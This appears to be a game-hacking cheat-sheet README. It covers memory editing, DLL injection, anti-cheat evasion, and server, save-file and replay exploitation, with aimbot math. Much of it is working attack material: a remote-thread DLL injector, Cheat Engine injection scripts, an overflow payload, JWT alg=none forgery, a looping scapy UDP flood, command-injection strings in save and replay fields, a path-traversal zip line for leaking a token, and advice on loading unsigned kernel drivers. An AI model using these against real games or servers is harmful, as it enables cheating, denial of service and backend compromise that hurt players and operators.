Welcome to the definitive guide for game hacking. This repository compiles advanced techniques, tools, and strategies for dissecting and manipulating games, intended strictly for authorized testing, education, and Capture The Flag (CTF) research.
This cheat sheet is structured for developers, security researchers, and reverse engineers. Unauthorized use is unethical and may violate laws or terms of service.
- Game Hacking Cheat Sheet
- Table of Contents
- Recon and Static Analysis
- Engine Recon Automation (Unity, Unreal, etc.)
- Goals of Engine Recon
- Unity Engine (Mono / IL2CPP)
- Identifying Unity Games
- Mono Runtime Recon
- IL2CPP Automation
- Unreal Engine Recon (UE3/UE4/UE5)
- Identifying Unreal Games
- Auto SDK Generation
- Auto Object Dumper (Python + pymem)
- GNames and GObjects Pattern Script in IDA or Ghidra
- UE4 .ini Logging Hack (Optional)
- WebAssembly and Browser Recon via WebGL
- Static and Runtime Tools
- Instrumentation Example (DevTools Console)
- .wasm Mapping
- Lua Engine Recon
- What to Hook
- Dynamic Lua Hijacking (Frida)
- Tools to Include
- Engine-Specific Signatures
- Obfuscated Binary Detection and Unpacking
- C and C++ RTTI and Symbol Salvage
- Dynamic Memory Analysis
- Advanced Cheat Engine Usage
- Injection and Cheat Code
- Exploitation Techniques
- Remote and Server-Side Exploits
- Replay System Hacking
- Replay Formats by Engine-Game
- Reverse Engineering Replay Formats
- General Steps
- CS:GO Replay (.dem) Parsing
- Rocket League Replay Modding
- Exploitable Replay Logic (RCE and Logic Abuse)
- Exploit Deserialization RCE
- Exploit Replay Re-Execution Abuse
- Exploit Server Replay Import Vulnerability
- AI Bot Training via Replay Data
- Replay Corruption Use-Cases
- Tools and Libraries
- Replay Manipulation Example (Rocket League)
- Aimbots - Clipping and PvP Lag Exploits for PC and Console
- Anti-Cheat Bypass Techniques
- Game Logic Abuse
- Engine-Specific Hacks
- APT-Level Techniques
- Automation and Fuzzing
- DRM and Obfuscation Bypass
- Shellcode Engineering
- DRM Loader Staging
- Key Concepts
- Reverse Engineering Process (Staged DRMs)
- 1. Detect the Staging Behavior
- 2. Locate the Real Entry Point
- 3. Trace Loader Flow with x64dbg
- 4. VMProtect Loader Internals
- 5. VM Handler Identification
- Nested Loader Unpacking
- Anti-Debug/Anti-Dump Bypasses
- Manual Dump and Rebuild
- Denuvo Specific Staging
- Common Loader Signatures
- DRM Loader Fuzzing / Mutation
- DRM Tooling Ecosystem
- AI/ML Augmentations
- Hardware Hacks
- Firmware Analysis
- UEFI Dump - Patch - and Injection
- Tools
- Dump UEFI from Flash
- Explore DXE Modules
- Patch Boot Flow
- Inject DXE Module Payload
- Console Boot ROM Reversing (Nintendo Switch, PS5, Xbox)
- Nintendo Switch
- PS5
- Xbox Series (Scarlett)
- LV0 / LV1 Hypervisor Reversing (Sony Consoles)
- Firmware Attack Matrix
- Research-Level Firmware Tooling
- Defeating Firmware Protections
- Firmware-Based Cheat Staging
- Console Exploits
- External Console Botting over Remote Play
- Cloud Gaming Exploits
- Threat Modeling: Cloud Gaming
- Latency Manipulation Attacks for All Levels
- Tools Needed
- Example 1: Induced Lag to Exploit Hit Registration
- Use Cases
- Adaptive Lagbots (Advanced)
- Session Hijacking Techniques
- Attack Surface
- Example: WebSocket Hijack in Browser
- Unauthorized Access to Game Sessions
- Target Examples
- Cloud API Reverse Engineering
- Tools
- Frida TLS Unpinning (Android Cloud Client)
- Interesting Endpoints to Target
- Bypassing Detection and Limits
- CTF / Red Team Use Cases
- VR/AR Game Hacking
- Blockchain and NFT Game Exploits
- Zero-Knowledge Game Proofs (zk-Gaming)
- What Are zk-SNARKs / zk-STARKs?
- Use Cases in Web3 Gaming
- How to Detect Zero-Knowledge Proofs in Games
- On-chain Signs
- Frontend / Client Clues
- Example: zk-SNARK in Score Submission
- Internals: zk-SNARK Components
- How to Attack or Bypass
- 1. Client-Side Proof Forging
- 2. Weak Circuit Logic
- 3. Replay Proof Attack
- 4. Verifier Contract Injection
- Advanced Vector: zk-STARK vs zk-SNARK
- Tools You Can Use
- Mitigation / Hardening (for defenders)
- Summary
- Remote Control / Command-and-Control Bots (C2 Bots)
- Persistent Pathfinding and Resource Bots
- Mobile Game Hacking (Android and iOS)
- Overview
- APK Reverse Engineering (Android)
- Smali Modification (Intermediate)
- Frida for Android and iOS (Dynamic Instrumentation)
- Setup (Android)
- Example: Hooking Currency Function
- Frida on iOS (Advanced)
- Android Root Detection Bypass
- iOS Jailbreak Detection Bypass
- Mobile Input Automation and Bots
- Android Automation
- iOS Automation (Jailbreak Required)
- Advanced Tactics
- Anti-AntiCheat and Evasion
- VM-Level Cheats using EPT, NPT, and Bluepill
- Core Concepts
- Use Cases in Game Hacking
- How It Works: EPT Memory View (Intel)
- Techniques
- 1. Custom Hypervisor (KVM, Bare-metal, SimpleVisor)
- 2. Hyper-V Based External ESP
- 3. Memory Redirection via EPT Hooks
- 4. Bluepill Hypervisor Injection
- Anti-Detection Advantages
- Advanced Applications
- Tooling Ecosystem
- Real-World Exploit Flow: Silent ESP via LibVMI
- Research Tips
- Anti-AntiCheat Signatures and Patches
- Quantum Computing Assisted Game Hacking
- Tool Pairings
- Disclaimer
Unravel game internals with these elite static analysis techniques.
- Run
strings
,binwalk
,hexdump
on binaries: Extract plaintext, embedded files, and hex patterns for initial insights. - Reverse
.exe
/.dll
with Ghidra, IDA, or Binary Ninja: Decompile to pseudocode or assembly; leverage FLIRT signatures for known libraries (e.g., Unity, Unreal SDKs). - Map
main()
,WinMain()
, or game loops: Trace entry points and core logic flows in disassemblers. - Extract debug symbols from
.pdb
/.dbg
files: Recover function names, variables, and call stacks using DIA SDK. - Analyze sections (
.text
,.rdata
,.data
,.reloc
,.bss
): Identify code, strings, globals, relocations, and uninitialized data. - Identify calls to
GetAsyncKeyState
,memcmp
,strstr
: Locate input handling and string comparison routines. - Search internal function names via
strings
/ RTTI: Exploit runtime type info or plaintext leaks to map logic. - Enumerate imports with
rabin2 -i
or LIEF: List DLL dependencies and hooked APIs. - Check linked libraries (DirectX, Mono, Vulkan): Detect frameworks for rendering, scripting, or physics.
Static analysis is often underutilized—maximize it with advanced correlation and metadata extraction.
-
Use
radare2
:aaaa # Auto-analysis izz # Extract strings iS # Check section entropy
-
Entropy Mapping:
- Identify packed/encrypted regions using
binwalk -E
or EntropyGUI - High entropy (>7.0) suggests obfuscation
- Identify packed/encrypted regions using
-
Mach-O (macOS):
- Use
otool -lV
for load commands - Use
jtool2
for Objective-C metadata
- Use
-
ELF (Linux):
- Run
readelf -Ws
for dynamic symbols - Use
patchelf
to modify interpreters
- Run
-
Symbol Recovery: Parse stripped
.pdb
files using DIA SDK -
RTTI Exploitation: Rebuild C++ vtables in IDA using
RTTI::CompleteObjectLocator
-
Code Cave Detection:
for seg in Segments(): if SegName(seg) == ".text": for func in Functions(seg, SegEnd(seg)): size = GetFunctionAttr(func, FUNCATTR_END) - func if size > 5000: print("Potential cave at:", hex(func), "Size:", size)
-
CRC Check & Anti-Tamper Tracing:
- Look for
mov eax, ds:CRC_TABLE
,xor ecx, [ptr]
, etc.
- Look for
-
PDB Symbol Leeching:
- Use Microsoft Symbol Servers (
symsrv
) to pull symbols from related builds
- Use Microsoft Symbol Servers (
-
Embedded Scripting Engine Detection:
- Look for:
PyRun_SimpleString
,lua_pcall
,duk_eval_string
- Look for:
-
PE Authenticode Signature Diffing:
sigcheck.exe -q -m osslsigncode
-
Language / Compiler Fingerprinting:
- Use
binlex
,lief
, orretdec
- Use
Pattern | Origin |
---|---|
SEH frames | MSVC (Visual Studio) |
il2cpp::vm:: calls |
Unity IL2CPP |
UFunction::ProcessEvent |
Unreal Engine |
./analyzeHeadless project_dir project_name -import target.exe -postScript ExtractStrings.java -deleteProject
Obfuscation Technique | Detection Method | Tool(s) |
---|---|---|
UPX / Common Packers | Strings entropy, section size | binwalk , die , upx -t |
VMProtect / Themida | .text entropy > 7.3, jmp chains |
PEiD , Detect It Easy |
Unity IL2CPP + Metadata | global-metadata.dat presence |
Il2CppDumper , IDA Pro |
Custom XOR / Rijndael | High-entropy strings, XOR loops | radare2 , capstone , Unicorn |
Lua Bytecode / JIT | 1B 4C 75 61 (Lua header) |
luadec , lua-dis |
Engine | Recon Target | Indicator / Signature |
---|---|---|
Unity (Mono) | Assembly-CSharp.dll , MonoBehaviour |
Public classes, IL2CPP strings |
Unreal (UE) | UObject::GObjects , GNames |
48 8B 05 ?? ?? ?? ?? 48 8B 0C C8 |
CryEngine | CrySystem.dll , CryEntitySystem.dll |
CEntity::Update() in IDA |
Source | client.dll , engine.dll |
CreateMove , PaintTraverse |
GameMaker | *.yy , *.yyp , GameMakerUI.dll |
InitGameObject , ObjectSetLayer |
-
Unity:
- Use
AssetRipper
orAssetStudio
to extract textures, classes - Analyze
global-metadata.dat
,libil2cpp.so
for IL2CPP mappings
- Use
-
Unreal Engine:
- Dump
GObjects
,GNames
,UClass
hierarchy using CE Table or SDK Generator - Patch
Engine.ini
:[Core.Log] LogNet=Verbose LogNetTraffic=VeryVerbose
- Dump
-
Browser/WebGL Titles:
- Use
wasm-decompile
,wasm2wat
, Chrome DevTools - Hook
eval
,Function
,WebAssembly.instantiateStreaming
- Use
- Capstone + Unicorn: Emulate decryption logic (e.g., XOR loops)
- LLVM IR Analysis: Use RetDec to lift binaries to LLVM IR
- Custom Signatures: Build FLIRT sigs for FMOD, PhysX, etc. using Ghidra
Understanding and automating engine-level reconnaissance is critical for every red teamer, cheat dev, or reverse engineer. Each modern engine (Unity, Unreal, CryEngine, etc.) provides predictable metadata, method tables, and memory layouts that you can scan, dump, or script around for massive leverage.
- Automatically locate key game logic (health, damage, abilities, inventory)
- Identify functions to hook or patch
- Map scripting engines (Mono, Lua, IL2CPP)
- Dump class hierarchies (e.g. Player, Entity, Ability)
- Locate rendering functions, timers, or input handlers
- Script cheat tables or Frida hooks dynamically
File Indicators:
- UnityPlayer.dll, global-metadata.dat, Assembly-CSharp.dll
- Directory: /Managed/, /Data/, /MonoBleedingEdge/
- Presence of il2cpp_data/ for IL2CPP builds
Memory Indicators:
strings -n 10 game.exe | grep "UnityEngine"
UnityVersion tags in binary or Player.log.
Steps:
- Attach Cheat Engine or MonoMod tools
- Go to Mono → Activate Mono Features
- Use Dissect Mono to list all classes and methods
- Hook method using mono_findMethod
Auto-dumper:
local c = mono_enumDomains()
for _, domain in pairs(c) do
local assemblies = mono_enumAssemblies(domain)
for _, asm in pairs(assemblies) do
print("Assembly:", mono_getAssemblyName(asm))
end
end
Tools:
- Il2CppDumper (CLI/GUI)
- IDA Plugin: Il2CppInspector
- ScyllaHide + CE for live memory scans
Process:
- Dump global-metadata.dat + GameAssembly.dll
- Run:
Il2CppDumper GameAssembly.dll global-metadata.dat output/
- Look for key class mappings: Player::TakeDamage, Inventory::AddItem, etc.
Bonus:
- Use IDA Pro + FLIRT to auto-rename IL2CPP methods
- Create .sig from Unity 2021.3 base headers for auto-tagging
Static Indicators:
- UE4Game.exe, UE5Game.exe, GEngine.dll, UnrealPak.exe
- .pak files in /Content/ or /Paks/
- UObject, UFunction, FString patterns in memory
Runtime Signatures:
Target | AOB Signature |
---|---|
GObjects | 48 8B 05 ?? ?? ?? ?? 48 8B 0C C8 |
GNames | 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 |
ProcessEvent | E8 ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ?? |
Use pymem + AOB scan or CE Lua script to resolve dynamically.
Use UE4 SDK Generator:
UE4Dumper.exe -pid <target_pid> -dump
Generates: Classes.hpp
, Offsets.hpp
, Functions.cpp
Load in IDA to cross-ref symbols and write your own internal ProcessEvent() hook.
from pymem import Pymem
pm = Pymem("game.exe")
gobjects = pm.read_int(0x12345678) # Found via sig scan
for i in range(1024):
obj_ptr = pm.read_int(gobjects + i * 4)
name = pm.read_string(obj_ptr + 0x18)
print(f"[+] Object {i}: {name}")
# Ghidra - find GNames
pattern = b"\x48\x8B\x05"
findBytes(currentProgram, pattern)
Enable rich logging for network or events:
[Core.Log]
LogNet=VeryVerbose
LogNetTraffic=VeryVerbose
LogOnline=VeryVerbose
Also enable:
[/Script/Engine.RendererSettings]
r.DebugDraw = 1
- wasm-decompile (binaryen)
- wasm2wat (WABT)
- Chrome DevTools → Memory panel → WebAssembly.Instance.exports
- Hook WebAssembly.instantiateStreaming
const original = WebAssembly.instantiate;
WebAssembly.instantiate = async function(buffer, importObj) {
console.log("[+] Hooked WASM instantiate");
return original.call(this, buffer, importObj);
};
Or use:
Function = new Proxy(Function, {
apply(target, thisArg, args) {
console.log("Eval:", args[0]);
return Reflect.apply(...arguments);
}
});
- wasm-decompile
- radare2 -AA file.wasm
- ghidra_wasm_plugin
Reverse-engineer exports: Identify heal(), moveTo(), attack().
- lua_getglobal, lua_setglobal, lua_pcall
- Enumerate Lua stack and global table
int n = lua_gettop(L);
lua_pushnil(L);
while (lua_next(L, LUA_GLOBALSINDEX)) {
printf("%s\n", lua_tostring(L, -2));
lua_pop(L, 1);
}
Interceptor.attach(Module.findExportByName("lua_pcall"), {
onEnter(args) {
console.log("Calling Lua:", args[1]);
}
});
Engine | Tool | Purpose |
---|---|---|
Unity | Il2CppDumper, AssetRipper | Dump C# classes, metadata |
Unreal | UE4Dumper, SDK Gen | Generate headers, locate hooks |
WebGL | wasm-decompile, DevTools | Export analysis, JS interop |
Lua | Frida, LuaJIT tools | Dump globals, hook logic |
Use these indicators to fingerprint game engines and enable targeted reversing strategies.
Engine | Indicator | Signature / Pattern |
---|---|---|
Unity (IL2CPP) | global-metadata.dat, libil2cpp.so | .data section with metadata blob |
Unity (Mono) | Assembly-CSharp.dll | IL code; browse via dnSpy / dotPeek |
Unreal Engine | UObject::GObjects, GNames | 48 8B 05 ?? ?? ?? ?? 48 8B 0C C8 |
CryEngine | CrySystem.dll, CEntity::Update() | Export table symbols or IDA auto-analysis |
Godot | .gd scripts, main_loop strings | Custom bytecode and scene structure patterns |
High-Entropy Sections (VMProtect, Themida, Enigma)
binwalk -E target.exe
IL2CPP Metadata Fingerprint (Unity)
with open("global-metadata.dat", "rb") as f:
header = f.read(4)
if header == b"\xAF\x1B\xB1\xFA":
print("[+] IL2CPP Metadata Detected")
Unpacking VMProtect / Themida
- Identify loader stub (jmp short, jmp dword ptr fs)
- Trace decrypt stub via x64dbg + ScyllaHide
- Dump real .text from memory using Scylla
- Rebuild IAT with PE-bear or x64dbg IAT Rebuilder
// IDA script: Recover class names
auto rtti = get_rtti_struct(ea);
Master real-time memory manipulation with these professional-grade methods.
- Attach Cheat Engine, x64dbg, or Frida: Monitor live processes with breakpoints and value scans.
- Scan/Freeze In-Memory Values: Lock health, ammo, or gold by finding and freezing addresses.
- Trace "What Writes to Address": Locate opcodes modifying key variables (e.g., player stats).
- Heap Spray Tracing: Monitor allocations during crafting or spawning for overflow targets.
- Dynamic Import Resolution: Hook LoadLibrary/GetProcAddress to log runtime DLL calls.
- Hook/Detour with Frida: Inject custom logic into game functions dynamically.
- Use ReClass.NET: Reverse-engineer memory structures (e.g., player class pointers).
- Hook DirectX/OpenGL: Overlay ESP/aimbot visuals by intercepting render calls.
- Trace Memory Maps: Use /proc//maps (Linux) or VirtualQueryEx (Windows) to chart layouts.
- Monitor Telemetry: Sniff heartbeat timers or uploads with Process Monitor/Wireshark.
Flip bits in real-time with these advanced tactics.
- Time Travel Debugging (TTD): Record execution with WinDbg Preview TTD, rewind to trace variable origins.
- Heap Feng Shui: Force predictable heap layouts with controlled allocations (e.g., spray 0x1000-byte objects).
- Frida Stalker:
Stalker.follow({ events: { compile: true }, onReceive: function (blocks) { console.log(blocks); } });
- DirectX/OpenGL Hooking:
- RenderDoc: Capture frames to reverse shaders.
- VTable Hooking: Swap IDXGISwapChain::Present for ESP overlays.
- Kernel-Mode Monitoring: Use Intel Processor Trace (PT) via perf (Linux) or WinDbg kernel debugging.
- Frida Heap Tracker:
Interceptor.attach(Module.getExportByName(null, "malloc"), { onEnter: function (args) { this.size = args[0].toInt32(); }, onLeave: function (retval) { if (this.size == 0x500) { console.log("[*] Large allocation at: " + retval); } } });
- Shadowing Game Logic: Identify duplicate structs (e.g., player_data vs. player_shadow) in ReClass.NET to exploit state management.
- Dynamic Function Pointer Dispatch:
var base = ptr("0x400000"); Memory.scan(base, 0x100000, "?? ?? ?? ?? ?? ?? ?? ??", { onMatch: function (address, size) { if (!address.readPointer().isNull()) { console.log("VTable candidate at:", address); } } });
- Continuous Memory Map Correlation: Track allocation deltas with VirtualQueryEx (Windows) or diff /proc//maps (Linux).
- Snapshot-Diffing: Take memory dumps at different states and compare with pymem, pydiff, or Rust scanners.
- Memory Breakpoint Watch:
- Cheat Engine: Right-click → "Find out what writes to this address"
- x64dbg:
bp access mem 0xDEADBEEF size 4 r/w
- Intel PIN: Instruction-level tracing for fine-grained analysis.
- Memory Allocator Hooks: Intercept malloc/HeapAlloc to track allocations.
- Custom Scanners: Build memory scanners in Rust for cross-platform efficiency.
List<GameObject> spray = new List<GameObject>();
for (int i = 0; i < 10000; i++) {
spray.Add(new GameObject("HeapObject" + i));
}
Interceptor.attach(Module.getExportByName(null, 'malloc'), {
onEnter(args) {
this.size = args[0].toInt32();
},
onLeave(retval) {
if (this.size > 1024) {
console.log(`[+] Allocated: ${this.size} bytes at ${retval}`);
}
}
});
Interceptor.attach(Module.getExportByName(null, "operator new"), {
onEnter: function (args) {
this.sz = args[0].toInt32();
},
onLeave: function (retval) {
console.log("[+] new() size:", this.sz, " -> ", retval);
}
});
Linux:
cat /proc/<pid>/maps
Windows:
VirtualQueryEx(hProc, address)
Module.enumerateRanges('r-x').forEach(range => {
Memory.scan(range.base, range.size, '55 8B EC', {
onMatch(addr) {
console.log("[*] Function prologue at:", addr);
}
});
});
Purpose | Tool |
---|---|
Heap Tracing | Frida, Valgrind (Linux) |
Structure Reversing | ReClass.NET |
Frame Capture | RenderDoc, PIX |
Runtime Instrumentation | Frida, Intel PIN |
Live Scanning | pymem, Rust+WinAPI |
Cheat Engine (CE) is a powerful reverse engineering and memory editing tool, far beyond just scanning for health or ammo. Below is a modular breakdown to push CE into red team and CTF-grade use.
- Cheat Engine (latest build)
- Custom driver (signed or unsigned)
- Windows x64 target (Unity, Unreal, Mono, etc.)
- Optional: Frida / x64dbg / ReClass.NET
In modern games, static addresses don’t last — you must trace pointers.
Manual Pointer Walk:
[game.exe+0x02F41B90] → 0xDEADBEEF → +0x10 → Health
Steps:
- Scan for health
- Right-click → “What accesses this address”
- Use “Pointer scan” → “Find path to value”
- Reboot and validate
Auto Pointer Lookup via Lua:
local base = readPointer("game.exe+0x02F41B90")
local health = readInteger(base + 0x10)
print("Health:", health)
Patch game logic or build trainers.
Example: Health Freeze:
[ENABLE]
alloc(newmem,2048)
label(return)
newmem:
mov [eax+10],#999
jmp return
"game.exe"+123456:
jmp newmem
return:
Bonus:
- Use
jmp short
vsjmp near
based on distance (5-byte near patch)
Use signatures to find injection sites dynamically.
[ENABLE]
aobscanmodule(INJECT_AOB,game.exe,89 54 24 10 8B 45 ??)
alloc(newmem,2048,"game.exe")
label(return)
newmem:
nop
nop
jmp return
INJECT_AOB:
jmp newmem
return:
Good AOB tips:
- Unique, short patterns
- Avoid excessive wildcards
- Grab from IDA/CE memory viewer
Interact directly with Mono-based Unity games.
Steps:
- Attach → Mono → Activate Mono Features
- Use “Dissect Mono” to inspect class/methods
🔧 Hook a Unity Method (Lua):
local method = mono_findMethod("Assembly-CSharp", "Player", "TakeDamage")
print("TakeDamage at:", string.format("0x%X", method.address))
CE’s Lua API enables real-time memory editing and trainers.
F6 Hotkey to Refill Ammo:
function refillAmmo()
writeInteger("[game.exe+0x1A2B3C4]", 999)
end
createHotkey(refillAmmo, VK_F6)
Add via Table → Show Cheat Table Lua Script
CE is detectable — use these strategies:
- Rename executable
- Hex-edit PE headers
- Strip metadata/version info
dbk_writesIgnoreWriteProtection(true)
- Avoid global hooks
- Inline memory edits
- Custom
dbk64.sys
- Load unsigned via KDMapper or Test Mode
Patch unused memory space for full logic.
Steps:
- Search for
00 00 00 00
in.text
or.data
- Inject your logic
- JMP from game code to cave
alloc(cave, 512, "game.exe+0x123456")
Combine CE scanning + Frida hooks:
Use CE for:
- Live struct discovery
- Memory validation
Use Frida for:
- Internal function hooking
- Argument manipulation
Interceptor.attach(ptr("0xDEADBEEF"), {
onEnter(args) {
args[0] = ptr(999);
}
});
Inject cheats with surgical precision using these elite methods.
-
Classic LoadLibrary Injection:
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); LPVOID addr = VirtualAllocEx(hProc, NULL, strlen(dllPath)+1, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hProc, addr, dllPath, strlen(dllPath)+1, NULL); CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, addr, 0, NULL);
-
Manual Mapping: Bypass detection with stealth injection (e.g., GH Injector).
-
Inline Hooks:
Original: MOV EAX, [EBP+8] CALL GameFunction Hooked: JMP HookFunction NOP
-
VMT Hooking:
DWORD* vTable = *(DWORD**)player; DWORD original = vTable[5]; vTable[5] = (DWORD)&MyFunction;
-
.text Cave Injection: Hide code in unused executable sections.
-
CreateRemoteThread: Inject into suspended processes silently.
-
IAT/EAT Patching: Redirect import/export tables to custom functions.
-
Hook Direct3D EndScene()/Present(): Render ESP overlays.
-
Shellcode in Heap: Inject small stubs for minimal footprint.
-
SetWindowsHookEx: Capture keyboard/mouse input globally.
- Process Hollowing: Replace
svchost.exe
with game binary usingNtUnmapViewOfSection + ZwMapViewOfSection
. - Vectored Exception Handling (VEH): Hijack execution flow via
AddVectoredExceptionHandler
. - Reflective DLL Injection: Load DLLs from memory without touching disk.
Technique | Method | Use Case |
---|---|---|
.text Cave Injection | Inject in unused code section | High stealth |
VEH Hook | Trigger via exception handler | Reflective injection |
TLS Callback | Run code before main() in PE |
Pre-initialization |
IAT Patching | Redirect imports (e.g., MessageBoxA ) |
Function hijacking |
Discord Overlay Hijack | DLL sideload via overlay | Bypass anti-cheat |
- eBPF Hooking (Linux): Attach probes to kernel syscalls for stealth.
- PTrace Injection (Android): Modify running code using
PTRACE_POKETEXT
.
Uncover deep exploit pathways in both client and server components of modern games. Includes memory corruptions, logic flaws, protocol fuzzing, and weaponized savegame/asset injections.
Classic memory corruption bugs, still common in native engine modules, mods, or legacy games.
void parse_chat(char *msg) {
char buf[128];
strcpy(buf, msg); // 💥 Vulnerable: No bounds check
}
Exploit Payload:
payload = b"A" * 132 + b"\xDE\xAD\xBE\xEF"
send_to_game_chat(payload)
void read_item(FILE *f) {
char *buf = malloc(64);
fread(buf, 1, 128, f); // 💥 Heap overflow
}
Heap Spray + UAF:
- Use crafted
.inv
file. - Reallocate freed memory with attacker-controlled structure.
Modern games often parse custom .sav
, .json
, or .bin
save formats.
Target Areas:
- Long strings (names, chat, inventory)
- Embedded scripting fields
- Reused legacy fields (e.g., Lua in old engines)
{
"playerName": "A" * 1024 + "\u0041\u0041\u0041\u0041",
"inventory": [{"item": "sword"}]
}
Execution Vector: If parsed with strcpy()
or loaded into memory without bounds check, leads to RCE.
Tools: Radamsa, AFL++, zzuf, boofuzz, custom grammar fuzzers
Game backends often expose vulnerable APIs or real-time logic bugs.
POST /api/shop/buyItem
{
"itemId": "super_legendary_sword",
"price": 1
}
If price is only enforced client-side → free legendary loot.
Test With: Burp Suite, mitmproxy, Python requests
import jwt
token = jwt.encode({"user": "admin"}, "wrongkey", algorithm="HS256")
Works if backend accepts unsigned or improperly verified tokens.
alg=none Bypass:
{
"alg": "none",
"typ": "JWT"
}
Use: jwt.io, pyjwt
, or node-jose
.
- Cooldown Tampering: Send multiple "cast spell" packets in quick succession.
- Currency Race Conditions: Double-purchase via parallel POSTs.
Use ffuf
, Intruder
, or Python asyncio
spammer.
Low-level network attacks can crash or take control of networked games.
from scapy.all import *
payload = b"A" * 1024
pkt = IP(dst="192.168.1.15")/UDP(dport=27015)/payload
send(pkt, loop=1, inter=0.01)
Targets:
- Legacy engine netcode (e.g., Source Engine)
- Poorly written packet parsers (e.g., Protobuf over UDP)
- Desync crashes in P2P engines (e.g., RakNet, Unity LLAPI)
Use Wireshark + custom dissectors to reverse:
- Encryption schemes
- Opcode IDs (RPCs)
- Frag/ack logic in UDP game protocols
Combine with:
binwalk
for packet structureboofuzz
to fuzz packet fields
Games that load external assets (like .png
, .mp3
, .pak
) via third-party libraries can be exploited via:
- Malicious PNGs →
libpng
overflows - Malformed MP3 →
libmad
parsing flaws - Malicious
.bsp
or.pak
→ custom scripting hooks
Injected file triggers buffer overflows or logic flaws in parser.
Use: Peach Fuzzer, Fuzzino, or custom asset generators
Technique | Target | Description / Payload |
---|---|---|
Stack Overflow | Local buffer | strcpy() → overwrite return address |
Savegame Injection | Client-side RCE | Craft .sav to trigger memory corruption |
JWT Forgery | Backend auth bypass | alg=none or wrong key → admin access |
Parameter Tampering | Game API | Buy top-tier items for 0 coins |
Packet Fuzzing | Multiplayer engine | Oversized or malformed UDP packets |
Race Condition Abuse | Crafting/shop | Double-purchase exploit with async flood |
Script Injection | Lua-enabled titles | "name": "x'); os.execute('calc.exe') --" |
Malicious Asset File | Texture/audio/map | Triggers in vulnerable parsers (e.g., libpng ) |
For blockchain-based games:
- Replay signed transactions (double spend)
- Injected logic via proxy contract manipulation
- Abuse poorly-written game logic
Example:
function upgradeWeapon(uint weaponId, uint cost) {
require(balance[msg.sender] >= cost); // no actual deduction
weaponLevel[weaponId]++;
}
Exploit: Weapon can be upgraded indefinitely.
Purpose | Tools |
---|---|
Savegame Fuzzing | Radamsa, AFL++, Boofuzz |
Protocol Reversing | Wireshark, Scapy, Ghidra |
Live Memory Analysis | Cheat Engine, Frida, ReClass.NET |
Backend Exploits | Burp Suite, Postman, mitmproxy |
JWT Manipulation | pyjwt, jwt.io, node-jose |
File Format Exploits | Binwalk, Peach Fuzzer, zzuf |
Multiplayer Spamming | ffuf, python-requests, asyncio tools |
Modern games often implement deterministic replay systems that log input, entity states, and timestamps to re-simulate gameplay. These replay files (.dem, .replay, .json, etc.) can be:
- Reverse-engineered to extract telemetry
- Modified to inject arbitrary input or manipulate the outcome
- Exploited if the engine blindly trusts replay content
- Used for offline aimbot training, analytics, or forensic attack reconstruction
Game / Engine | Format | Notes |
---|---|---|
CS:GO / Source | .dem | Proprietary binary log of commands/events |
Rocket League | .replay | JSON-packed protobuf with physics frames |
Overwatch | .replay | Zstd-compressed binary |
StarCraft II | .SC2Replay | MPQ archive with Battle.net metadata |
Fortnite / UE | .replay | Unreal's internal DemoNetDriver format |
Dota 2 | .dem (Source 2) | Similar to CS:GO but Source 2 enhancements |
- Identify structure (text, binary, protobuf, zlib, zstd?)
- Use binwalk or
xxd
to inspect entropy and boundaries - Load into HexFiend, Ghidra, or write a custom parser
Tools: demoinfo2
, CSGO-Demo-Parser
, SourceDemoTool
Events include: svc_PacketEntities
, svc_GameEvent
, svc_TempEntities
Cheat use-case: Extract tick-perfect player behavior
- JSON + protobuf + Zlib
- Tools:
BakkesMod
,ReplayParser
, Python decoder - Modify:
PlayerInput
(throttle, boost),PhysicsFrames
(teleport, trajectory)
{
"player_name": "__import__('os').system('calc.exe')"
}
Affected engines: Python-based, Unity with insecure JSON
eventQueue = {
{ tick=32, action="GiveGold(9999999)" },
{ tick=48, action="CastSpell('killall')" }
}
Hijack scripting logic in Lua/Unreal mod games
zip --junk-paths sc2.dmp ../AppData/Local/Blizzard/token.txt
Upload replay in web UI → leaks internal token
for tick in replay['frames']:
model.learn(tick['player_pos'], tick['enemy_pos'], tick['aim_angle'])
Tools: PyTorch, YOLOv7, TensorRT, Keras-RL
Use Case | Technique |
---|---|
Wallhack Showcase | Alter player coordinates mid-replay |
Fake Tournament Footage | Modify match outcome |
Anti-Cheat Fingerprinting | Trace events to identify bans |
Match Outcome Reversal | Inject impossible scores or goals |
Engine Crash PoC | Upload malformed replays |
Tool | Language | Target Game |
---|---|---|
demoinfo2 | C# | CS:GO |
RLBotParser | Python | Rocket League |
UEReplayReader | C++ | Fortnite/Unreal |
MPQEditor | Windows | StarCraft II |
BakkesMod | C++ | Rocket League |
PySC2 | Python | SC2 AI training |
import zlib, json
with open("game.replay", "rb") as f:
raw = f.read()
data = zlib.decompress(raw[16:]) # Skip header
replay = json.loads(data)
for frame in replay["Frames"]:
for p in frame["PlayerData"]:
p["Boost"] = 1.0
new_data = json.dumps(replay).encode()
compressed = zlib.compress(new_data)
with open("modded.replay", "wb") as f:
f.write(raw[:16] + compressed)
- Phishing (malicious replays)
- Telemetry tracking across demos
- Replay Trojan loading malicious paths
Weakness | Defense |
---|---|
Replay Deserialization | Strict schema, no dynamic eval |
Script Injection | Filter commands, sandbox replay engine |
Replay Import Abuse | Path sanitization, auth ACLs |
DoS Payloads | Limit frame count/size |
Client Trust Replay | Validate against server logs |
This section delves into weaponized automation, physics manipulation, and lag-based game logic abuse in competitive multiplayer contexts. These techniques simulate adversarial behavior to enhance defensive strategies and understand vulnerabilities in game systems.
Area | Technique Class | Description |
---|---|---|
Aimbots | Screen, Memory, AI | Automate targeting of enemies with precision. |
Clipping | Memory, Physics Patching | Bypass collision to move through objects. |
Lag Exploits | Network Interference | Manipulate latency to disrupt PvP interactions. |
Type | Source | Detection Risk | Platform |
---|---|---|---|
Memory Aimbot | Entity memory | High (Anti-Cheat) | PC only |
Pixel Aimbot | Screen/Color | Low-Medium | PC/Console |
AI Aimbot | Neural Vision | Low | PC/Console |
Input-Based Aim | Controller Feed | Very Low | Console+PC |
import math
RAD_TO_DEG = 180 / math.pi
def calculate_angle(my_pos, enemy_pos):
delta = enemy_pos - my_pos
yaw = math.atan2(delta.y, delta.x) * RAD_TO_DEG
pitch = math.atan2(-delta.z, math.sqrt(delta.x**2 + delta.y**2)) * RAD_TO_DEG
return pitch, yaw
